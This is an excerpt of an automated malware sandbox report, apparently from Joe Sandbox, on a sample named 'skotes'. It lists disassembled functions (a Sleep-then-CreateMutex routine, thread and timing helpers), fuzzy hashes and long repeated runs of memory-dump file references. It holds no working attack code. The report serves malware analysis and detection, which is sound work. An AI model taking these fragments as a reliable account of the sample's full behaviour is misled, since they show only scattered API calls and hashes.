Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 827aa9f18066ff18c25c78fc1b970718ece4df9e204199a4c72274da1acd869d
Instruction ID: be2a8f1b7a4217d9f6e9f99b8597da647dd6fb1f85018137f7df97dc3b167aaa
Opcode Fuzzy Hash: 827aa9f18066ff18c25c78fc1b970718ece4df9e204199a4c72274da1acd869d
Instruction Fuzzy Hash: 1F216A72714248DBEB18AB68EC9DB3DB761EFC1314F204229EA08C72D5DBBA59908715

Function 001FA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 5d9df6d5a5f46c20cfa781d5fb3b983ad421d5335bc48b23839c4fbd2d90d84b
Instruction ID: 317d76cddaa4ca6379f349d53848edc68be569fb121a13d5518c86fe89cc642a
Opcode Fuzzy Hash: 5d9df6d5a5f46c20cfa781d5fb3b983ad421d5335bc48b23839c4fbd2d90d84b
Instruction Fuzzy Hash: 1B216DB136520DDBEB28A7E8D89EB3DB251DF95301FA40416E70CD72C1CBBE49808253

Function 001FA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 04895d0bb2291160f066207979ef86dea9fc3b026bcfc21124fd03d37f06411a
Instruction ID: 66c4986439ea20db4a75eebe5c2516773e2a26f6114bce30c09e7cf3ddc5d31a
Opcode Fuzzy Hash: 04895d0bb2291160f066207979ef86dea9fc3b026bcfc21124fd03d37f06411a
Instruction Fuzzy Hash: 23219A727202089BEB08DB68EC9D73DB762EFD1311F244229EA08D73D4CB7A59808752

Non-executed Functions

Function 001F2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001F2F5F
GetCurrentThreadId.KERNEL32 ref: 001F2F7E
__Mtx_unlock.LIBCPMT ref: 001F2FCC
__Cnd_broadcast.LIBCPMT ref: 001F2FE3
__Mtx_unlock.LIBCPMT ref: 001F30F5
GetCurrentThreadId.KERNEL32 ref: 001F3132
__Mtx_unlock.LIBCPMT ref: 001F319B

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: e586b43d7689ac2742956cb5a13784240cc823be45689e06a51fa25c0ca3b2b5
Instruction ID: 13a296a76315b044c2b8fe2b7f072974000c78078681a0c65b01e1256749f87d
Opcode Fuzzy Hash: e586b43d7689ac2742956cb5a13784240cc823be45689e06a51fa25c0ca3b2b5
Instruction Fuzzy Hash: 2EA1D2B0A153099FDB21DF64C944B6AB7B8FF15310F14822AE925D7682EB31EA14CBD1

Function 0022CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0022CC66

Strings

v", xrefs: 0022CBE1

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089621515.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089649598.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089704716.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089729427.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089757286.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089786219.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089815379.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089832054.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089855412.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089879725.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089906977.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089930595.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089962341.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089989439.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090032527.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090055418.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090079910.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090101990.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090123143.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090145205.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090169193.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090191365.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090212356.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090232181.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090253503.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090273605.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090298916.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090319629.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090385966.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090410993.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090431556.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090452173.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090473003.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090498681.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2090520162.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v"
API String ID: 3213747228-1211370248
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 32d0ba7099dddba248c772a1c0ae8216bfb168884afb236ef443958709d29713
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: C9B18A72D242A6AFDB25CFA8D8417BEBBE5EF45340F35416AE844EB242D6348D11CB50

Function 0020BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0020BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0020BBE4
_xtime_get.LIBCPMT ref: 0020BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0020BC13

Memory Dump Source

Source File: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2088987162.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089024610.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089178382.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089247587.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089277100.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089305310.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089337261.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089524917.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089547453.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2089588840.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
